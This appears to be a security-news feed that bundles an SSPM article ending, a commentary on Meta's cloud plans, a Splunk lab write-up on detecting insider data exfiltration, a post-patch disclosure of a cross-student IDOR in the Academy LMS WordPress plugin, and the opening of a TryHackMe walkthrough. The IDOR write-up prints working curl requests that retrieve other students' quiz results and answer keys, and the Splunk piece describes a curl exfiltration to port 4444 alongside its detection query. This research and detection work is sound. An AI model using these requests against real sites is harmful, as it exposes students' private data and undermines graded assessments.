<p class="wp-block-paragraph">This is the gap SSPM was built to close. Instead of watching infrastructure, it watches the configuration of the SaaS applications themselves — permissions, sharing settings, who has access to what. And the distinction is not just academic. Infrastructure misconfigurations tend to expose systems. SaaS misconfigurations tend to expose data — directly, quietly, and often without any detectable attack activity at all.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Figure-3-The-six-core-visibility-capabilities-of-SSPM.png?w=1024" alt="Figure 3: The six core visibility capabilities of SSPM" class="wp-image-4197926" width="1024" height="567" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 3: The six core visibility capabilities of SSPM</em>.</figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h2 class="wp-block-heading"><a></a>What security teams should do now</h2>



<p class="wp-block-paragraph">You do not need to deploy a full SSPM platform tomorrow to start closing the gap. There are practical steps that move the needle immediately.</p>



<ul class="wp-block-list">
<li>Audit connected OAuth applications across your primary SaaS platforms. Revoke any integration that cannot be justified by a current business need.</li>



<li>Common source of public data exposure: Review guest and external sharing permissions in Salesforce Communities and Microsoft SharePoint.</li>



<li>Check whether legacy authentication protocols are disabled in Microsoft 365. Legacy auth bypasses MFA and becomes a potential entry point in enterprise environments.</li>



<li>Establish a quarterly access review for high-privilege accounts in SaaS applications. Most organizations run annual reviews at best — that is not frequent enough for platforms that change configuration daily.</li>



<li>A map of which SaaS applications hold sensitive data, and which have no security team ownership at all. That list will be longer than you expect.</li>
</ul>



<p class="wp-block-paragraph">The core issue is not that organizations are careless. It is that they have built security programs around the perimeter and the infrastructure, and SaaS applications grew up inside that perimeter without ever being brought into scope. The data is there. The access is there. The misconfiguration is often there too. What has been missing is the visibility to see it.</p>



<p class="wp-block-paragraph">SSPM closes that gap. But even before a formal tool is in place, simply asking the question — what can the applications we already run see and share? — is a meaningful first step. In my experience, the answer surprises almost every organization that takes the time to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Can Meta really compete in the cloud business?]]></title>
<description><![CDATA[Meta is reportedly planning a cloud business that would sell access to AI computing power and models, extending its internal infrastructure into a commercial service for outside developers and enterprises. Reuters, citing Bloomberg’s reporting, noted that the planned offering would allow customer...]]></description>
<link>https://tsecurity.de/de/3675548/ai-nachrichten/can-meta-really-compete-in-the-cloud-business/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675548/ai-nachrichten/can-meta-really-compete-in-the-cloud-business/</guid>
<pubDate>Fri, 17 Jul 2026 11:04:14 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"><a href="https://www.bloomberg.com/news/articles/2026-07-01/meta-is-building-a-cloud-business-to-sell-excess-ai-compute">Meta is reportedly planning a cloud business</a> that would sell access to AI computing power and models, extending its internal infrastructure into a commercial service for outside developers and enterprises. Reuters, citing Bloomberg’s reporting, noted that the planned offering would allow customers to access AI models hosted on Meta’s infrastructure and pay based on usage, effectively positioning the company in the <a href="https://www.infoworld.com/article/2255598/what-is-iaas-your-data-center-in-the-cloud.html">infrastructure-as-a-service</a> and AI platform markets. On the surface, this seems like a logical next step. If you are already spending enormous amounts of money to build AI infrastructure, there is a natural temptation to ask whether some of that investment can be monetized beyond your own internal use.</p>



<p class="wp-block-paragraph">I have seen this pattern before. A company builds sophisticated internal systems, recognizes their value, and then begins to imagine that becoming a cloud provider is simply a matter of exposing those capabilities to external customers. It sounds straightforward, especially given the excitement around AI and the demand for high-performance infrastructure. But cloud computing is not just another distribution model. It is not simply a matter of offering on-demand multitenant services and charging a fee. It is a deeply operational, trust-based business in a market that punishes companies that do not fully understand what enterprise customers require.</p>



<h2 class="wp-block-heading">A crowded neocloud market</h2>



<p class="wp-block-paragraph">The first problem Meta faces is that this is not an open opportunity. The <a href="https://www.infoworld.com/article/4140865/neoclouds-run-ai-cheaper-and-better.html">neocloud</a> space, meaning purpose-built AI infrastructure delivered as a service, is already crowded and increasingly difficult to enter. Amazon, Microsoft, and Google dominate the conversation for obvious reasons. They have years of cloud operating experience, broad service portfolios, global reach, mature ecosystems, and deeply established enterprise relationships. Oracle remains a serious player as well, especially in enterprise applications, data platforms, and performance-sensitive workloads. IBM still matters in <a href="https://www.networkworld.com/article/964498/what-is-hybrid-cloud-computing.html">hybrid cloud</a>, operations, and industries where governance and regulatory rigor remain central.</p>



<p class="wp-block-paragraph">That list alone should give Meta pause. These companies are not just infrastructure vendors. They are experienced cloud operators. They have spent years building not only the underlying platforms, but also the native capabilities enterprises now expect by default. Those capabilities include security, governance, identity management, observability, support, compliance, billing controls, resilience planning, and integration with the broader enterprise technology estate. These are not secondary features. They are part of the core value proposition.</p>



<p class="wp-block-paragraph">This is why late entry into the cloud market is so hard. A new provider is not just competing on price or capacity. It is competing against accumulated trust. Enterprises are not casual buyers. They are selecting long-term operating environments for applications, data, AI models, and business-critical processes. They want confidence that the provider understands how these services will be consumed, governed, and supported over time. Meta is entering a market where the incumbents already have a major head start on all of those fronts.</p>



<h2 class="wp-block-heading">Harder than it looks</h2>



<p class="wp-block-paragraph">Over the years, I have had many technology companies come to me and say they wanted to reposition their technology in the cloud space, either as <a href="https://www.infoworld.com/article/2256637/what-is-saas-software-as-a-service-defined.html">software as a service</a> or infrastructure as a service. In the beginning, enthusiasm is always high. The technology is impressive. The market size looks attractive. The revenue models appear compelling. Investors love the story. Then we begin to walk through what it really means to operate as a cloud provider, and the optimism usually fades fast.</p>



<p class="wp-block-paragraph">The questions become very practical and very uncomfortable. How will tenants be isolated? How will <a href="https://www.csoonline.com/article/518296/what-is-iam-identity-and-access-management-explained.html">identity and access controls</a> work across different kinds of customers? What governance models will be built in natively? How will workloads be monitored, optimized, and secured? What does support look like 24 hours a day, across regions, across industries, across compliance boundaries? How will outages be handled, communicated, and remediated? How will the platform integrate with existing customer tools for operations, policy management, and security response? How much investment will it take just to become credible before you even begin to differentiate?</p>



<p class="wp-block-paragraph">Once companies fully understand the complexities, market dynamics, and the capital and execution required to compete even with secondary players, many of them back off. They realize that cloud technology is not a packaging exercise. It is a transformation in how a company designs, operates, supports, sells, and evolves technology. That is why I remain skeptical when any company assumes it can translate internal infrastructure excellence into external cloud success without a very long, disciplined commitment.</p>



<h2 class="wp-block-heading">Meta’s market readiness</h2>



<p class="wp-block-paragraph">Of course, Meta is not lacking in financial resources. If any company can afford to spend aggressively in this space, it is Meta. The company has the capital to build infrastructure, absorb losses, hire experienced talent, and stay in the market long enough to make a serious attempt. I would never argue that Meta is too small or too poor to try. Quite the opposite. If there is any non-traditional entrant with the financial scale to force itself into the conversation, Meta would be high on the list.</p>



<p class="wp-block-paragraph">But money does not erase complexity. It only gives you the chance to confront it. The real question is not whether Meta can afford to become a cloud provider. The question is whether Meta has what it takes to become an <em>excellent </em>cloud provider. Those are two very different things. Enterprises are not going to move meaningful workloads to a new platform simply because the company behind it is wealthy or technically famous. They are going to ask whether the provider understands enterprise consumption patterns, enterprise risk, enterprise governance, and enterprise operations.</p>



<p class="wp-block-paragraph">That is where the challenge becomes much more serious. Meta has extensive experience running infrastructure for itself. That is valuable, but internal operating excellence is not the same thing as external service maturity. Running systems for your own workloads allows a high degree of control over architecture, standards, priorities, and operating assumptions. Running systems for paying customers requires flexibility, consistency, transparency, and support across a wide range of use cases that you do not control. Those are very different disciplines, and companies often underestimate the gap between them.</p>



<h2 class="wp-block-heading">What exactly is Meta?</h2>



<p class="wp-block-paragraph">Another concern here is strategic clarity. Meta already has a complicated market identity. It is a social media company, an advertising platform company, a hardware company, an AI company, and still, in the minds of many, the company that spent billions pursuing the metaverse. If it now wants to be viewed as a serious cloud infrastructure provider, it will need to explain not only what it is offering, but why customers should believe this is a durable long-term commitment and not just another adjacent experiment.</p>



<p class="wp-block-paragraph">That uncertainty can be damaging. Customers want stable providers with clear strategic intent. They do not want to architect important systems around a platform if they suspect the provider may lose interest, shift direction, or reframe the business after a few years of uneven results. Cloud computing requires patience, consistency, and deep customer orientation. It is not a market where strategic ambiguity helps.</p>



<p class="wp-block-paragraph">This could become confusing for Meta internally as well. Building a true cloud business demands focus. It demands years of investment in areas that may not be glamorous but are absolutely necessary, such as governance, operations, controls, support frameworks, partner programs, and enterprise sales alignment. If the company is not willing to make those sacrifices fully and for the long term, the initiative will struggle.</p>
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<title><![CDATA[How I Detected an Insider Threat in Splunk When Every Single Action Looked Legitimate]]></title>
<description><![CDATA[No broken password. No exploit. No firewall alert. Just an employee using access they were supposed to have — to take data they weren’t. Here’s how I caught it with a three-stage correlation in Splunk.By Ronak Mishra · SC-200 | Security+ | ISC2 CC · Splunk Enterprise SIEM LabMost detection conten...]]></description>
<link>https://tsecurity.de/de/3675351/hacking/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675351/hacking/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:42 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>No broken password. No exploit. No firewall alert. Just an employee using access they were supposed to have — to take data they weren’t. Here’s how I caught it with a three-stage correlation in Splunk.</em></p><p><em>By Ronak Mishra · SC-200 | Security+ | ISC2 CC · Splunk Enterprise SIEM Lab</em></p><p>Most detection content is about outsiders — brute force, phishing, exploits. The attacker is external, the activity is obviously malicious, and the logs light up.</p><p>Insider threats are the opposite. The account is valid. The access is authorized. Every individual action, viewed on its own, looks like normal work. There’s no single event you can alert on. And that’s exactly what makes them the hardest thing a SOC has to catch.</p><p>I built a Splunk lab to detect one end to end. This is how it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6GmRtez2BHftjN-yNHsBWw.png"><figcaption><em>The Meridian SOC dashboard — six live panels built in Splunk, pulling from the same data this insider threat scenario generated.</em></figcaption></figure><p><strong>The scenario</strong></p><p>A fictional e-commerce company, Meridian Commerce Inc. A Finance account on a Windows 11 workstation (FIN-WKS-04) with legitimate access to customer payment data. The insider does three things:</p><ol><li><strong>Reads</strong> the payment file C:\CustomerExports\payments_export.csv. This account is allowed to. <em>(Event ID 4663)</em></li><li><strong>Compresses</strong> it with PowerShell’s Compress-Archive. Zipping a file isn't malicious. <em>(Event ID 4104)</em></li><li><strong>Exfiltrates</strong> it to an external host with curl.exe over port 4444. One outbound connection among thousands. <em>(Event ID 5156)</em></li></ol><p>Read, zip, upload. Three ordinary actions. No perimeter control catches this because nothing is breached. No auth alert fires because the login is valid. The attack lives entirely inside legitimate behavior. The only way to see it is to stop looking at events individually and start looking at the pattern they form together.</p><p><strong>Problem 1 — the workstation logs almost nothing by default</strong></p><p>Before correlating anything, I found the telemetry wasn’t even there. A default Windows 11 workstation doesn’t log these events. Three audit subcategories must be explicitly enabled: File System (4663) plus a SACL on the folder, PowerShell Script Block Logging (4104), and Filtering Platform Connection (5156). Without them, the read, the compression, and the exfiltration are all invisible. If these aren’t on <em>before</em> the attack, there’s nothing to detect after — the evidence was never written.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1LoptNEb58AKqbhooSulhA.png"><figcaption><em>The file-read stage caught in Splunk via Event ID 4663 — the first of three subcategories that are disabled by default on a stock Windows 11 workstation.</em></figcaption></figure><p><strong>Problem 2 — the compression step tried to hide</strong></p><p>I expected to catch the compression via Event ID 4688 (Process Creation). It never fired. Compress-Archive is a native PowerShell cmdlet — it runs inside the existing PowerShell engine and doesn't spawn a child process, so there's no 4688. Any detection relying only on process-creation auditing is blind to PowerShell-native staging. That's why Script Block Logging (4104) matters — it captures the cmdlet with full parameter bindings, including exact source and destination paths.</p><p><strong>The detection — correlating three stages into one incident</strong></p><pre>index=windows (EventCode=4663 Object_Name="*CustomerExports*")<br>    OR (EventCode=4104 _raw="*CompressFilesHelper*")<br>    OR (EventCode=5156 Destination_Port=4444)<br>| transaction host maxspan=30m<br>| where eventcount &gt;= 3<br>| table _time, host, eventcount, duration</pre><p>The three OR conditions each match one stage. transaction host maxspan=30m groups events on the same host within a 30-minute window into one logical unit — the line that turns scattered events into a story. where eventcount &gt;= 3 only fires when all three stages hit the same host inside that window. One stage, nothing. Two, nothing. All three in sequence — that's a kill chain, not coincidence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ChuETHBGAxo0WqS68UXnKA.png"><figcaption><em>27 raw events correlated into 1 incident, spanning 25 minutes on FIN-WKS-04. Three innocent-looking actions revealed as one exfiltration chain.</em></figcaption></figure><p>Result: <strong>27 raw events correlated into 1 incident, spanning 25 minutes on FIN-WKS-04.</strong> One alert with the full narrative instead of 27 disconnected log lines nobody would piece together manually.</p><p><strong>What happens after the alert fires</strong></p><p>Detecting the chain is only step one. Here’s how I’d actually triage this in a live SOC:</p><p><strong>Severity:</strong> High. Confirmed customer PII touched, compressed, and sent to an external host — this isn’t “suspicious,” it’s a completed exfiltration, not an attempt.</p><p><strong>First move:</strong> Isolate FIN-WKS-04 from the network immediately to stop any further outbound activity, and disable the account pending investigation — not delete it, since the account and its full history are now evidence.</p><p><strong>Scope the blast radius:</strong> Pull every file that account touched in the same session window, not just the one flagged file — the transaction proves this exfiltration; it doesn’t rule out others in the same session.</p><p><strong>Escalate, don’t conclude:</strong> This is exactly the kind of finding that gets handed to IR and HR jointly, not closed solo by a SOC analyst. My job at this stage is to hand over a clean timeline, not decide intent — that’s a human resources and legal call, not a technical one.</p><p><strong>Tune after, don’t tune during:</strong> The 30-minute window and the 3-event threshold both need validation against real traffic before this becomes a production rule — a busy analyst doing legitimate bulk export-and-archive work could trip the same pattern. That tuning is exactly what separates a lab detection from a production one.</p><p>That last part matters more than the query itself. A rule that fires is only useful if someone downstream knows what to do the moment it does.</p><p><em>This is Phase 5 of a full Splunk Enterprise SIEM lab I built from scratch — 6 OWASP Top 10 detections, a live SOC dashboard, incident reports, and two documented detection gaps. Full lab and all SPL: github.com/ronakmishra28/meridian-soc-detection-lab</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=aeac34ea7190" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate-aeac34ea7190">How I Detected an Insider Threat in Splunk When Every Single Action Looked Legitimate</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers]]></title>
<description><![CDATA[Author: Shikhali Jamalzade GitHub: alisalive LinkedIn: camalzads Type: Independent Security Research | WordPress Plugin CVE ResearchThis is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed a...]]></description>
<link>https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:36 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yTFnySBjd6cxjcwiw7Mxpg.png"></figure><h4>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a> <br>GitHub: <a href="http://github.com/alisalive">alisalive</a> <br>LinkedIn: <a href="http://linkedin.com/in/camalzads">camalzads</a> <br>Type: Independent Security Research | WordPress Plugin CVE Research</h4><p>This is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed any enrolled student to read another student’s private quiz results and extract the correct answers to quiz questions — before or during an attempt. It was independently confirmed by another researcher, has since been patched, and this write-up is being published after the fix was released.</p><p>Background: Why Academy LMS</p><p>My WordPress plugin research methodology targets plugins in the 500–9,000 active installations range — a zone that tends to receive less security scrutiny than larger plugins while still having enough real-world deployment to matter. For each candidate, I start with passive analysis: reading the changelog for security-related keywords, reviewing the readme, and checking WPScan’s vulnerability history before touching any code.</p><p>Academy LMS caught my attention because its 3.8.1 changelog contained a specific entry: “Fixed — AJAX API vulnerability in the Notes feature.” This is one of the strongest signals I look for. A developer who has already fixed a security issue in one part of a codebase often used the same patterns elsewhere — and those other places sometimes didn’t get fixed at the same time. My hypothesis was simple: if the Notes controller was fixed, what about the Quiz controller?</p><p>This turned out to be exactly the right question.</p><p>Understanding the Architecture</p><p>Academy LMS uses two parallel systems for handling API requests.</p><p>The first is a centralized AJAX handler defined in includes/classes/abstract-ajax-handler.php. Every AJAX action registered through this base class passes through handle_ajax_request(), which enforces nonce validation and capability checks before dispatching to the actual callback. This is a solid design pattern.</p><p>The second system is a collection of REST controllers under includes/api/ and addons/quizzes/api/. Each controller registers its own routes via register_rest_route() and defines its own permission_callback per endpoint. This is where consistency breaks down.</p><p>When I grepped for permission_callback across the entire plugin, the Notes controller showed the correct pattern: every route used array($this, 'permissions_check'), and that function derived the user via get_current_user_id(), never accepting a user identifier from the request. The Notes fix had made this air-tight.</p><p>The Quiz attempts controller told a different story.</p><p>Two routes in addons/quizzes/api/quiz-questions.php used 'permission_callback' =&gt; '__return_true' — meaning no authentication required at all for those endpoints. That was worth noting. But the more serious issue was in addons/quizzes/api/quiz-attempts.php, specifically in the get_student_quiz_attempt_details endpoint.</p><p>The Vulnerability: Two Separate Failure Points</p><p>The get_student_quiz_attempt_details handler had two independent authorization failures that together created a working IDOR.</p><p>Failure point one: the target user was read from the request, not the session.</p><pre>// addons/quizzes/api/quiz-attempts.php, line ~305<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><p>The handler falls back to the session user only if user_id is absent from the request. Any caller who supplies a user_id parameter gets that value used as the target identity. This is the classic IDOR setup: the object being accessed is determined by a client-controlled key.</p><p>Failure point two: the access gate was evaluated against the victim’s context, not the caller’s.</p><pre>// lines ~308-315<br>$is_administrator = current_user_can( 'administrator' );<br>$is_instructor    = \Academy\Helper::is_instructor_of_this_course( $student_id, $course_id );<br>$enrolled         = \Academy\Helper::is_enrolled( $course_id, $student_id );<br>$is_public        = \Academy\Helper::is_public_course( $course_id );</pre><pre>if ( $is_administrator || $is_instructor || $enrolled || $is_public ) {<br>    // returns attempt details<br>}</pre><p>Notice that is_instructor_of_this_course and is_enrolled both receive $student_id — the attacker-controlled value — not get_current_user_id(). So when an attacker supplies a victim's user_id, the gate asks "is the victim enrolled in this course?" rather than "is the caller enrolled in this course?" If the victim is enrolled (which they must be to have a quiz attempt), the gate returns true, and the handler proceeds to fetch and return that victim's data.</p><p>The database query confirmed the full impact:</p><pre>// classes/query.php, get_quiz_attempt_details()<br>"SELECT<br>    attempt_answers.attempt_id,<br>    attempt_answers.user_id,<br>    attempt_answers.is_correct,<br>    attempt_answers.answer as given_answer,<br>    quiz_answers.answer_title as correct_answer,<br>    quiz_answers.answer_content,<br>    quiz_answers.is_correct as is_correct_answer,<br>    quiz_questions.question_title,<br>    quiz_questions.question_type,<br>    ...<br>FROM {$wpdb-&gt;prefix}academy_quiz_attempt_answers as attempt_answers<br>LEFT JOIN {$wpdb-&gt;prefix}academy_quiz_answers as quiz_answers<br>    ON attempt_answers.question_id = quiz_answers.question_id<br>WHERE attempt_answers.attempt_id=%d AND attempt_answers.user_id=%d"</pre><p>The SELECT *-style join pulled answer_title and answer_content from the quiz_answers table — rows that include is_correct=1 entries, meaning the correct answers. The response handed the full set to the caller: every question the victim answered, whether they got it right, and what the correct answer was.</p><p>The same vulnerable function was exposed through two independent entry points. The REST route at /wp-json/academy/v1/quiz_attempts/{id}/get_student_quiz_attempt_details used this logic directly. The AJAX action academy_quizzes/get_student_quiz_attempt_details via /wp-admin/admin-ajax.php used an identical copy of the same handler in addons/quizzes/ajax/frontend.php.</p><p>Both were confirmed exploitable during testing.</p><p>The Contrast with the Fixed Code</p><p>What made this particularly clear-cut was the comparison with the Notes controller. The fix that had been shipped for Notes followed a textbook pattern:</p><pre>// includes/api/notes.php (fixed)<br>public function get_user_notes( $request ) {<br>    $user_id = get_current_user_id();<br>    // ...<br>}</pre><p>No $request-&gt;get_param('user_id'). The user identity is always taken from the authenticated session. The Quiz handler simply never received the same treatment.</p><p>This is a pattern I have seen repeatedly in plugin codebases: a developer identifies and fixes a class of vulnerability in one module, but the fix is not propagated to sibling modules that share the same pattern. The developer who wrote the Notes fix clearly understood the right approach. The Quiz addon was not updated to match.</p><p>Live Proof of Concept</p><p>I reproduced this against a local Docker environment running WordPress with Academy LMS 3.8.2 and the Quizzes addon enabled.</p><p>Actors in the test:</p><ul><li>Attacker: pocsubscriber (user ID 4, Subscriber role), enrolled in a shared course</li><li>Victim: victimstudent (user ID 5, Subscriber role), enrolled in the same course, with a completed quiz attempt containing a seeded correct-answer marker</li></ul><p>The attacker authenticates normally and obtains a valid REST nonce:</p><pre>curl -s -c cj.txt "http://TARGET/wp-login.php" -o /dev/null<br>curl -s -b cj.txt -c cj.txt \<br>  --data-urlencode 'log=pocsubscriber' \<br>  --data-urlencode 'pwd=PASSWORD' \<br>  --data-urlencode 'wp-submit=Log In' \<br>  --data-urlencode 'testcookie=1' \<br>  "http://TARGET/wp-login.php" -o /dev/null</pre><pre>NONCE=$(curl -s -b cj.txt \<br>  "http://TARGET/wp-admin/admin-ajax.php?action=rest-nonce")</pre><p>The attacker then sends a request supplying the victim’s user_id and attempt_id:</p><pre>curl -s -b cj.txt -H "X-WP-Nonce: $NONCE" \<br>  "http://TARGET/wp-json/academy/v1/quiz_attempts/3/get_student_quiz_attempt_details?course_id=32&amp;user_id=5"</pre><p>The response:</p><pre>{<br>  "3": {<br>    "attempt_id": "3",<br>    "user_id": "5",<br>    "is_correct": true,<br>    "given_answer": [],<br>    "correct_answer": [<br>      {<br>        "answer_id": "2",<br>        "quiz_id": "33",<br>        "answer_title": "SECRET_CORRECT_Paris",<br>        "answer_order": "1"<br>      }<br>    ],<br>    "answer_content": "CORRECT_ANSWER_CONTENT",<br>    "question_title": "Capital of France?",<br>    "question_type": "true_false"<br>  }<br>}</pre><p>User ID 4 received user ID 5’s quiz data, including the seeded correct-answer marker SECRET_CORRECT_Paris. The same result was reproduced via the AJAX vector:</p><pre>curl -s -b cj.txt \<br>  --data-urlencode 'action=academy_quizzes/get_student_quiz_attempt_details' \<br>  --data-urlencode 'security=ACADEMY_NONCE' \<br>  --data-urlencode 'course_id=32' \<br>  --data-urlencode 'attempt_id=3' \<br>  --data-urlencode 'user_id=5' \<br>  "http://TARGET/wp-admin/admin-ajax.php"</pre><p>Response: "success": true, same data.</p><p>Impact Assessment</p><p>The impact has two distinct dimensions.</p><p>The first is a straightforward confidentiality breach. Any enrolled student could enumerate other students’ quiz attempts by iterating over sequential attempt_id and user_id integers — both auto-increment, both trivially guessable. For every attempt they could retrieve the submitted answers, whether each answer was correct, and the final score. In an educational context, this is a meaningful privacy violation: a student's quiz performance is personal data.</p><p>The second dimension is academic integrity. The correct_answer field in the response exposes the correct answers to every quiz question, regardless of whether the requester has even started the quiz. A student could query this endpoint before beginning an attempt, extract the answer key, and complete the quiz with full knowledge of all correct answers. Every graded assessment built on the Academy LMS Quizzes addon was affected.</p><p>The required access level was Subscriber — the lowest authenticated role in WordPress. Any user who could create an account and enroll in a course could exploit this. In the free edition, is_public_course() always returns false due to an unregistered hook, so the practical attack surface was authenticated cross-student access within any shared course. This is the normal LMS use case: multiple students in the same course.</p><p>CVSS 3.1 score: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).</p><p>Disclosure Timeline</p><p>Discovery and full proof-of-concept (both vectors confirmed): 2026–07–02</p><p>Vendor notified via email to contact@kodezen.com with full technical description, affected code locations, and suggested remediation: 2026–07–02</p><p>Submitted to WPScan vulnerability database with CVE request: 2026–07–02</p><p>WPScan confirmed the vulnerability was already being tracked (independent discovery, duplicate submission): 2026–07–02</p><p>Fix confirmed in latest version by code review (all $request-&gt;get_param('user_id') references replaced with get_current_user_id() throughout quiz-attempts.php): 2026-07-10</p><p>Write-up published: 2026–07–10</p><p>The Fix</p><p>The vendor addressed the vulnerability by replacing all attacker-controlled user identity references with session-derived values. In the current version of addons/quizzes/api/quiz-attempts.php:</p><pre>// Before (vulnerable):<br>$student_id = $request-&gt;get_param( 'user_id' );<br>if ( ! $student_id ) {<br>    $student_id = get_current_user_id();<br>}</pre><pre>// After (fixed):<br>$current_user_id = get_current_user_id();</pre><p>The access gate now evaluates is_enrolled and is_instructor_of_this_course against the authenticated caller, not a request-supplied identity. The fix was applied consistently across both the REST and AJAX entry points. If you are running Academy LMS with the Quizzes addon, update to the latest version.</p><p>What This Teaches</p><p>A few things stood out during this research that are worth naming explicitly.</p><p>The inconsistent-fix pattern is real and worth hunting deliberately. When a plugin ships a security fix in one module, the most productive next step is to find every module that uses the same pattern and check whether it was updated. In this case, the Notes controller and the Quiz controller shared the same conceptual flaw. The fix applied to Notes in 3.8.1 was not carried through to the Quiz addon. This is not negligence — it is a natural consequence of how security fixes get written. A developer identifies a specific bug, fixes that specific bug, and moves on. The audit that would catch the sibling issue requires a broader view.</p><p>The access gate placement matters as much as the access gate logic. The permission_callback on the REST route only checked whether the caller was logged in and associated with the course in a general sense. It did not check whether the object being requested (the specific attempt) belonged to the caller. Object-level authorization — checking not just “can this user access this resource type” but “can this user access this specific resource instance” — needs to happen at the data retrieval layer, not just at the route entry point. This is the core of what OWASP calls Broken Object-Level Authorization (BOLA), the top item in the OWASP API Security Top 10.</p><p>Sequential integer identifiers make IDOR exploitable at scale. When attempt_id and user_id are both auto-increment database integers, an attacker does not need to know specific values to enumerate the data. They iterate. Opaque identifiers (UUIDs, non-sequential tokens) raise the bar, but they are not a substitute for proper authorization — they only make enumeration harder, not impossible if an attacker has access to any valid identifier. The fix here was correct: enforce ownership at the query layer regardless of identifier type.</p><p><em>If you found this useful, feel free to connect on</em> <a href="https://linkedin.com/in/camalzads"><em>LinkedIn</em></a> <em>or check out my projects on</em> <a href="http://github.com/alisalive"><em>GitHub</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=c68bfe06f3a0" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers-c68bfe06f3a0">How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[TryHackMe — Linux Agency | Complete Write-Up & Walkthrough]]></title>
<description><![CDATA[“Agent 47, your mission begins. 30 targets stand between you and the root.”Author: Shikhali JamalzadeGitHub: github.com/alisaliveLinkedIn: linkedin.com/in/camalzads📋 Room OverviewPlatform TryHackMe Room Name Linux Agency Link https://tryhackme.com/room/linuxagency Difficulty Medium Category Linux...]]></description>
<link>https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:38 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSkSbmZiLuuvwoZUpWjb2w.png"></figure><blockquote>“Agent 47, your mission begins. 30 targets stand between you and the root.”<br>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br>GitHub<strong>:</strong> <a href="https://github.com/alisalive">github.com/alisalive</a><br>LinkedIn<strong>:</strong> <a href="https://linkedin.com/in/camalzads">linkedin.com/in/camalzads</a></blockquote><h3>📋 Room Overview</h3><p><strong>Platform</strong> TryHackMe <br><strong>Room Name</strong> Linux Agency <br><strong>Link</strong> <a href="https://tryhackme.com/room/linuxagency">https://tryhackme.com/room/linuxagency</a> <br><strong>Difficulty</strong> Medium <br><strong>Category</strong> Linux Fundamentals + Privilege Escalation <br><strong>Initial Access</strong> SSH (agent47)</p><h3>🎯 About This Room</h3><p><strong>Linux Agency</strong> is one of the most comprehensive Linux-focused rooms on TryHackMe. You play the role of <strong>Agent 47</strong> — a secret agent tasked with infiltrating the ICA Agency, chaining through <strong>30 mission accounts</strong>, eliminating special targets, and ultimately achieving <strong>root</strong>.</p><p>This room goes far beyond basic Linux commands — it forces you to think like a real penetration tester. Topics covered:</p><ul><li>🐧 Deep Linux fundamentals (hidden files, permissions, environment variables)</li><li>💻 Multiple programming languages (Python, Ruby, Java, C)</li><li>🔐 Encoding/decoding (Base64, Binary, Hex)</li><li>📅 Cron job exploitation</li><li>⚡ Sudo privilege escalation via GTFOBins</li><li>🐳 Docker privilege escalation</li><li>🔑 SSH private key cracking</li></ul><h3>🛠️ Tools Used</h3><ul><li>ssh, su, find, grep, cat, ls, strings, file</li><li>base64, xxd</li><li>gcc, javac, java, python3, ruby</li><li>netcat (nc)</li><li>ssh2john + john (John the Ripper)</li><li>ss (socket statistics)</li><li>GTFOBins</li><li>Docker</li></ul><h3>⚙️ Setup</h3><p>Start 